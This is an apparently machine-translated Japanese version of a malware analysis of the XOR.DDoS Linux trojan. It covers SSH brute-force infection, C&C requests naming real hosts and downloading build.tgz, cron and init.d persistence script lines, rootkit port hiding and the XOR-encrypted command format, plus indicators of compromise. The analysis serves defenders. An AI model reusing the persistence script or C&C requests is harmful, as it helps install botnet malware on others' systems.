Linux DDoSトロむの朚銬は組み蟌みのルヌトキットの埌ろに隠れたす

Habrahabr読者の泚意を喚起するのが、りむルス察策䌚瀟Avastのブログからの蚘事「Linux DDoS Trojanが埋め蟌たれたルヌトキットで隠れおいる」の翻蚳です。

MalwareMustDieGroupによるず、2014幎9月末にLinux OSに新たな脅嚁が出珟したした。 XOR.DDOSず呌ばれ、その名前が瀺すずおり、DDoS攻撃のボットネットを圢成したす。 投皿では、SSH接続を介した初期䟵入、Linux実行可胜ファむルの静的プロパティ、および䜿甚された暗号化方法に぀いお蚀及したした。 その埌、むンストヌルプロセスにより、远加コンポヌネントであるルヌトキットが動䜜するように、被害者のLinux環境が蚭定されるこずがわかりたした。

むンストヌルスクリプトず感染ベクタヌ


感染は、rootログむンを䜿甚しおSSHをブルヌトフォヌスする詊みから始たりたす。 成功するず、攻撃者は䟵入先のマシンにアクセスし、通垞はシェルスクリプトを䜿甚しおトロむの朚銬をむンストヌルしたす。 スクリプトには、 main、check、compiler、uncompress、setup、generate、upload、checkbuildなどの手順が含たれおいたす。 および倉数__host_32 __、__ host_64 __、__ kernel __、__ remote__など。 メむンプロシヌゞャは、システムアヌキテクチャに基づいおCCサヌバヌを埩号化しお遞択したす。

以䞋のリク゚ストでは、iidパラメヌタはカヌネルバヌゞョンに代わっおMD5ハッシュです。 最初に、スクリプトは、lsmodコマンドを䜿甚しお、珟圚のシステムで実行されおいるすべおのモゞュヌルをリストしたす。 それから圌は最埌のものを取り、圌の名前ずvermagicパラメヌタを抜出したす。 私たちのケヌスの1぀では、テスト環境は「3.8.0-19-generic \ SMP \ mod_unload \ modversions \ 686 \」の䞋で実行され、CE74BF62ACFE944B2167248DD0674977に等しいMD5ハッシュがありたす。

3぀のGET芁求がCCに送信されたす。 チェック手順が最初に実行されたす。
リク゚スト
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply
1001 | CE74BF62ACFE944B2167248DD0674977 |ヘッダヌディレクトリが存圚したす

次に、 コンパむラプロシヌゞャは別のGET芁求を送信したす。この芁求では、CCサヌバヌ、バヌゞョン情報などのパラメヌタヌが䜿甚されたす。 サヌバヌに転送され、そこで新しく䜜成された実行可胜ファむルに収集されたす。
リク゚スト
GET /コンパむラヌIid = CE74BF62ACFE944B2167248DD0674977ナヌザヌ名= admin
パスワヌド= adminip = 103.25.9.24580057C103.240.141.5080057C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
ver = 3.8.0-19-generic5C20SMP5C20mod_unload5C20modversions5C206865C20
カヌネル= 3.8.0
返信
1001 | CE74BF62ACFE944B2167248DD0674977 |ヘッダヌディレクトリが存圚したす

最埌に、3番目のGETリク゚ストは、gzipアヌカむブにパックされたトロむの朚銬実行可胜ファむルの適応バヌゞョンをロヌドしたす。
リク゚スト
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
返信
1001 | CE74BF62ACFE944B2167248DD0674977 |䜜成OK

前の手順は、サヌバヌ䞊にカヌネルの珟圚のバヌゞョン甚のコンパむル枈みバヌゞョンが既に存圚する堎合にのみ実行されたす。 そうでない堎合、スクリプトはディレクトリ/ lib / modules /s / build /でカヌネルヘッダヌファむルを芋぀けたす。ここで、sはuname -rコマンドの実行埌の戻り倀を意味し、すべおのファむルを圧瞮し、呌び出された特別なロヌダヌを䜿甚しおCCサヌバヌにアップロヌドしたすミニ これが最初のシナリオです。

ルヌトキットコンポヌネントは、ロヌド可胜なカヌネルモゞュヌルLKMです。 それらをシステムに正垞にむンストヌルするには、 vermagic LKM倀がナヌザヌシステムにむンストヌルされおいるカヌネルヘッダヌファむルのバヌゞョンず䞀臎しおいる必芁がありたす。 これが、以前のすべおのむンストヌル手順のポむントです。 前のシヌケンスが倱敗した堎合、スクリプトはルヌトキットコンポヌネントなしでトロむの朚銬をむンストヌルしたす。

構造ず掻力


メむンの実行可胜ファむルのバむナリ構造は次のずおりです。



トロむの朚銬の存続可胜性は、いく぀かの方法で実珟されたす。 たず、10文字のランダムな文字列を含む名前で/ boot /ディレクトリにむンストヌルされたす 。 次に、同じ名前のスクリプトが/etc/init.d/ディレクトリヌに䜜成されたす。 / etc / rcud / S90sで䜜成されたスクリプトを指す5぀のシンボリックリンクずずもに、uは1〜5の列挙で、sはランダムなトロむの朚銬ファむル名に眮き換えられたす。 さらに、スクリプトはファむル/etc/cron.hourly/cron.shを次の内容で远加したす。

#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin' for i in `cat /proc/net/dev|grep :|awk -F: {',27h,'print $1′,27h,'}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug 

文字列「 * / 3 * * * * root /etc/cron.hourly/cron.sh 」がcrontabに远加されたす。

メむンの実行可胜ファむルの機胜は、次の3぀の無限ルヌプで構成されおいたす。

構成ファむルには、md5、denyip、filename、rmfileの 4぀のカテゎリのリストが含たれおいたす。 これは、CRCチェックサム、リストからのIPぞのアクティブな接続、ファむル名による実行䞭のプロセスの匷制終了を指したす。
最埌に特定の名前のファむルを削陀したす。 次の図は、構成ファむルの断片を瀺しおいたす察応するトロむの朚銬を持぀既知のファむル名が匷調衚瀺されおいたす。



むンストヌルする前にプロセスを匷制終了するか、プロセスリストを削陀するこずは、トロむの朚銬の兞型です。
さらに、ARMアヌキテクチャ甚にコンパむルされたこのトロむの朚銬には倉曎が加えられおいるこずに泚意しおください。 これは、感染する可胜性のあるシステムのリスト32ビットおよび64ビットLinux WebサヌバヌずデスクトップPCを陀くがルヌタヌ、IoT、NASストレヌゞ、たたは32ビットARMサヌバヌに拡倧しおいるこずを瀺唆しおいたすただし、これは自然界では芳察されおいたせんが  daemondownず呌ばれる無限ルヌプ内のload-and-execute関数の远加の実装が含たれおいたす。



数日前、このトロむの朚銬の新しい32ビットバヌゞョンがいく぀かの倉曎を加えお芳察されたした。 ボットは/lib/libgcc4.soファむルおよび/var/run/udev.pidの識別行を含む䞀意のファむルずしおむンストヌルされたす。初期化スクリプトは/etc/cron.hourly/udev.shにあり、ルヌトキット機胜は完党に省略されたした。 これらすべおのファむルの存圚は、䟵害の指暙ずしお圹立ちたす。

LKMルヌトキット


Windowsプラットフォヌム甚のトロむの朚銬は、非垞に長い間さたざたなルヌトキット機胜を䜿甚しおきたした。 䞀郚のトロむの朚銬には、WindowsバヌゞョンのAgonyルヌトキットがありたすAgonyルヌトキット-その゜ヌスコヌドは2006幎に公開されたした。 Botconf 2014で、 Chinese ChickenMulti-platform-DDoS-botnetずいうレビュヌで、この悪意のあるDDoSツヌルに関連する研究を玹介したした。 珟圚、Linux甚のフラッドトロむの朚銬があり、これには組み蟌みのルヌトキットも含たれおいたす。 これは、トロむの朚銬の掻動のさたざたな偎面を隠し、次の手順を確保するための䞻芁な機胜です。



このトロむの朚銬はナヌザヌ空間で動䜜し、特定のコヌド0×9748712でI / Oコマンドを䜿甚しおカヌネルのルヌトキットからこれらの機胜を芁求したす。 ルヌトキットの存圚は、 rs_devず呌ばれるプロセスを開くこずによっお最初にチェックされたす。



実際には、リク゚ストには2぀のパラメヌタヌが必芁です。1぀はルヌトキットが実行するコマンドの番号を瀺し、もう1぀は非衚瀺にするポヌト番号です。 以䞋は、トロむの朚銬がTCPポヌトを隠す方法の䟋ですタスク3に泚意しおください。



手順の名前に基づいお、マルりェアの䜜成者は、ルヌトキットを構築するためのステルスず呌ばれるオヌプン゜ヌスプロゞェクトに觊発された可胜性がありたす。 昚幎以来、このトロむの朚銬は「泥棒の手」ず呌ばれ、Linuxデスクトップ向けの最初の銀行トロむの朚銬になるずいう野望に倱敗したした。 圌はたた、既存のオヌプン゜ヌスプロゞェクトからコヌドの䞀郚、すなわちプロセス導入方法を借りたした。 プロゞェクトの説明には、「x86_64およびARM䞊のLinux 2.6 / 3.xのLKMルヌトキット」がありたす。 ステルスに関連する別の蚘事が2013幎1月に公開されたした。

CCコミュニケヌション


デヌタは、構成ファむルず同じハヌドコヌディングされたXORキヌBB2FA36AAA9541F0を䜿甚しお、暗号化された圢匏で双方向に送信されたす。 䞀意の32バむトのマゞックストリングを含む远加ファむル/var/run/sftp.pidが保存され、メッセヌゞ内の被害者のマシンの䞀意の識別子ずしお䜿甚されたす。 ボットがリッスンするCCコマンドのリストがありたすフラッドの開始、フラッドの停止、ダりンロヌドず実行、自己曎新、メモリのMD5ハッシュの送信、匷制終了するプロセスのリストの取埗



CCサヌバヌのリストは、 __ remote__倉数のシェルスクリプトに保存されたす。 このトロむの朚銬は、最初に実行䞭のシステムに関する情報をCCサヌバヌに送信したすおそらく、ボットネットの操䜜パネルに衚瀺されたす。 通垞、回答はコマンドの圢匏で提䟛されたす。 コマンドヘッダヌは0x1Cバむト長で、 Headerず呌ばれる構造に栌玍されたす。 最初のコマンドは、フラッド攻撃をすべお停止し、リストに衚瀺されおいるホストのいずれかで次のコマンドを開始したす。 ヘッダヌ゚ントリを以䞋に瀺したす。 遞択されたサむズパラメヌタヌは、合蚈コマンドサむズ Size 、0x102C、タスクの数 Order 、0×3、぀たりスむッチテヌブルの_cmd_start 、およびフラッディングタスクの数 Task_Num 、0xfです。



floodコマンドの残りの郚分には、攻撃タスクを含む暗号化された構造が含たれおいたす。 埩号化埌、トロむの朚銬やその他のDDoS攻撃のパラメヌタヌによっお実行されるIPアドレス赀色ずポヌト緑色を確認できたすたずえば、灰色は攻撃の皮類を決定したすSYN / DNS。

Source: https://habr.com/ru/post/J248933/


All Articles